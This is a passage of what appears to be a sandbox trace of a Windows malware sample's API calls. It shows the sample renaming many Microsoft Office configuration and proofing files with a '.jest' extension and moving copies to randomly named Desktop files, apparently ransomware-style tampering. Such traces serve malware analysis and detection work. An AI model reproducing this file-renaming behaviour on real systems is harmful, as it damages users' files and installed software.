halpmcxz\\desktop\\dwkzcbh5fjpin8wrbj2_d7kws9hvi_tboe6g9cqq3_iuphsejrnm_yyjqx9s2il7ds85s9sol6ktvon7fssozbtmbpfwj82ppj_.tmp")) returned 0 [0163.029] GetLastError () returned 0x2 [0163.029] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.029] GetLastError () returned 0x0 [0163.029] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg.jest")) returned 1 [0163.031] GetLastError () returned 0x0 [0163.031] VarBstrFromR4 (in: fltIn=0x47945659, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.7") returned 0x0 [0163.032] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ygRBwYb-1_JUWiK9RAdJmmcNp4HXl1AXUT3t6Np9ktyyMxJ0Yr__l8KPtLSJOtQ0nQO_QvN605jKXiNyCkhpFfotyFeIf-e3PyJeR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ygrbwyb-1_juwik9radjmmcnp4hxl1axut3t6np9ktyymxj0yr__l8kptlsjotq0nqo_qvn605jkxinyckhpffotyfeif-e3pyjer.tmp")) returned 0 [0163.032] GetLastError () returned 0x2 [0163.033] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.033] GetLastError () returned 0x0 [0163.033] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg.jest")) returned 1 [0163.036] GetLastError () returned 0x0 [0163.036] VarBstrFromR4 (in: fltIn=0x47945659, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.7") returned 0x0 [0163.037] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GXSPQtC8wjC-1LvZv3cHByuUXw7FtuCUqE-5DyVxV9j5roDt3qy-cBRLFNQCEwn-mLjwjPGl-Rn60Ye gyDu 6tnt7WeEuXtF1 z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gxspqtc8wjc-1lvzv3chbyuuxw7ftucuqe-5dyvxv9j5rodt3qy-cbrlfnqcewn-mljwjpgl-rn60ye gydu 6tnt7weeuxtf1 z.tmp")) returned 0 [0163.038] GetLastError () returned 0x2 [0163.038] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.038] GetLastError () returned 0x0 [0163.038] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.039] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg.jest")) returned 1 [0163.042] GetLastError () returned 0x0 [0163.042] VarBstrFromR4 (in: fltIn=0x47945659, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.7") returned 0x0 [0163.043] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LNNK7bCCu n4C9XyS_eWjKKWBn9KoNguhHkvwcDxpxPCMH6XUQB0bCBwMuHocNeYW54g4EgXjUgXOH6LvJzYrAUGTZSwefIFOqIFD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lnnk7bccu n4c9xys_ewjkkwbn9konguhhkvwcdxpxpcmh6xuqb0bcbwmuhocneyw54g4egxjugxoh6lvjzyraugtzswefifoqifd.tmp")) returned 0 [0163.044] GetLastError () returned 0x2 [0163.044] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.044] GetLastError () returned 0x0 [0163.044] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.045] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg.jest")) returned 1 [0163.048] GetLastError () returned 0x0 [0163.048] VarBstrFromR4 (in: fltIn=0x4794565b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.71") returned 0x0 [0163.049] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zCvgX8NKvJO7_Jsoaz8UEPhcPbcPZusmEB-c4zfNSnQxUXOEKi A97U7VQuaZAPci-mrQmNF8GhQCSBxg3ZD5DeWcUrG7QC8fcQ_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zcvgx8nkvjo7_jsoaz8uephcpbcpzusmeb-c4zfnsnqxuxoeki a97u7vquazapci-mrqmnf8ghqcsbxg3zd5dewcurg7qc8fcq_.tmp")) returned 0 [0163.049] GetLastError () returned 0x2 [0163.050] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.050] GetLastError () returned 0x0 [0163.050] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.051] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg.jest")) returned 1 [0163.052] GetLastError () returned 0x0 [0163.052] VarBstrFromR4 (in: fltIn=0x4794565b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.71") returned 0x0 [0163.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hCle2eSKV_li3elS9t1jmMUbF2BV-M-MG7ifP0zTNGY_zS5EwvijB9LHh9O53lAgV10 5zXliZFxcpOKvzlbd PPhq R26HfOiRU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hcle2eskv_li3els9t1jmmubf2bv-m-mg7ifp0ztngy_zs5ewvijb9lhh9o53lagv10 5zxlizfxcpokvzlbd pphq r26hfoiru.tmp")) returned 0 [0163.054] GetLastError () returned 0x2 [0163.054] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.054] GetLastError () returned 0x0 [0163.054] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg.jest")) returned 1 [0163.056] GetLastError () returned 0x0 [0163.056] VarBstrFromR4 (in: fltIn=0x4794565b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.71") returned 0x0 [0163.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yg7J-GhYYOedz_hADR5coLGjlCEu4Fv7Q3tzkQpBi2uthO2YulTTLgI-iVhW8sAImzSCROrmXTrLRY87K_i_cZ8OXjGLGqWSE8-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yg7j-ghyyoedz_hadr5colgjlceu4fv7q3tzkqpbi2utho2yulttlgi-ivhw8saimzscrormxtrlry87k_i_cz8oxjglgqwse8-.tmp")) returned 0 [0163.057] GetLastError () returned 0x2 [0163.058] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.058] GetLastError () returned 0x0 [0163.058] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.059] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg.jest")) returned 1 [0163.060] GetLastError () returned 0x0 [0163.060] VarBstrFromR4 (in: fltIn=0x4794565d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.73") returned 0x0 [0163.061] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h4r8ZVFMuDCqX0y6reL4ReTyC7ozwdmaiv3RHI4TuHjZu6wXu5UddE9vTW0nUcZMNwTmGbYOmSTtQ0CPLhiW-umS8Cz9gunjeJq9W.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h4r8zvfmudcqx0y6rel4retyc7ozwdmaiv3rhi4tuhjzu6wxu5udde9vtw0nuczmnwtmgbyomsttq0cplhiw-ums8cz9gunjejq9w.tmp")) returned 0 [0163.062] GetLastError () returned 0x2 [0163.062] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.062] GetLastError () returned 0x0 [0163.062] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.063] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg.jest")) returned 1 [0163.064] GetLastError () returned 0x0 [0163.065] VarBstrFromR4 (in: fltIn=0x4794565d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.73") returned 0x0 [0163.066] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oENdhLRt3Iy_7Q4OlqioKAqyqPg7fkG5HsYYNCEweOkObfAXQ-IOc8ofpq7ViG0qdJoq_eKGmdJjKjgDYJLVZL-O4QHon DY9B3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oendhlrt3iy_7q4olqiokaqyqpg7fkg5hsyynceweokobfaxq-ioc8ofpq7vig0qdjoq_ekgmdjjkjgdyjlvzl-o4qhon dy9b3.tmp")) returned 0 [0163.066] GetLastError () returned 0x2 [0163.067] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.067] GetLastError () returned 0x0 [0163.067] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.067] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg.jest")) returned 1 [0163.069] GetLastError () returned 0x0 [0163.069] VarBstrFromR4 (in: fltIn=0x4794565d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.73") returned 0x0 [0163.070] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kU-y-4RuxB3kUaIzKtYIsFkAefRWp2okJF-rdppYsb7ULhRuXfYcPjue_hfPUhl8_o-lccqZ8yBsCX7hO-6AlGiplbQyls _sj_R.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ku-y-4ruxb3kuaizktyisfkaefrwp2okjf-rdppysb7ulhruxfycpjue_hfpuhl8_o-lccqz8ybscx7ho-6algiplbqyls _sj_r.tmp")) returned 0 [0163.070] GetLastError () returned 0x2 [0163.071] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.071] GetLastError () returned 0x0 [0163.071] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.071] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm.jest")) returned 1 [0163.073] GetLastError () returned 0x0 [0163.073] VarBstrFromR4 (in: fltIn=0x4794565d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.73") returned 0x0 [0163.074] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cntqkVtcM0v3mP7z1fRbehQ0qOhnLyJdMAYw1lcPsWafEUEUf2Looi1FmZ-9hgv3kc6BrjK4VIzTPxBVZsRVay iC9N4zd3ROD8Kt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cntqkvtcm0v3mp7z1frbehq0qohnlyjdmayw1lcpswafeueuf2looi1fmz-9hgv3kc6brjk4viztpxbvzsrvay ic9n4zd3rod8kt.tmp")) returned 0 [0163.074] GetLastError () returned 0x2 [0163.076] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="弄", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.076] GetLastError () returned 0x0 [0163.077] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.077] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.jest")) returned 1 [0163.078] GetLastError () returned 0x0 [0163.079] VarBstrFromR4 (in: fltIn=0x4794565f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.74") returned 0x0 [0163.080] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\moUXjgOO5j3ZVs9e27BY5hSYRvMWSpjCsgJEZV__ DY7cEu5OTK14de nnuHKKS5H2106owVBVdI Ov4MI-GgSpjMRhbG6uM7SgSB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mouxjgoo5j3zvs9e27by5hsyrvmwspjcsgjezv__ dy7ceu5otk14de nnuhkks5h2106owvbvdi ov4mi-ggspjmrhbg6um7sgsb.tmp")) returned 0 [0163.080] GetLastError () returned 0x2 [0163.082] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="復", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.083] GetLastError () returned 0x0 [0163.083] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.083] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.jest")) returned 1 [0163.085] GetLastError () returned 0x0 [0163.085] VarBstrFromR4 (in: fltIn=0x4794565f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.74") returned 0x0 [0163.086] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HrFr_- vqdWqz236gQq_Imz3uLRspCYgtdoRL81mGklnk6RclKB_CxrVFG0nKg_RZ_gCBgMXVPnO3alsEJEW Q K1Zu8LgIU56Lg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hrfr_- vqdwqz236gqq_imz3ulrspcygtdorl81mgklnk6rclkb_cxrvfg0nkg_rz_gcbgmxvpno3alsejew q k1zu8lgiu56lg.tmp")) returned 0 [0163.086] GetLastError () returned 0x2 [0163.088] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="呂", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.089] GetLastError () returned 0x0 [0163.089] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0163.089] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.jest")) returned 1 [0163.091] GetLastError () returned 0x0 [0163.091] VarBstrFromR4 (in: fltIn=0x47945661, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.76") returned 0x0 [0163.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MZjaAlSxhB8JBlp_k_jSdTd7v6G3cOwL7_7vkswfzy- ntumYNO8H84Ahq2UsOO8Yys6k6ZQJe4XDR7b TljoMV8umC5HVakk-m.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mzjaalsxhb8jblp_k_jsdtd7v6g3cowl7_7vkswfzy- ntumyno8h84ahq2usoo8yys6k6zqje4xdr7b tljomv8umc5hvakk-m.tmp")) returned 0 [0163.093] GetLastError () returned 0x2 [0163.093] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="旅", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, 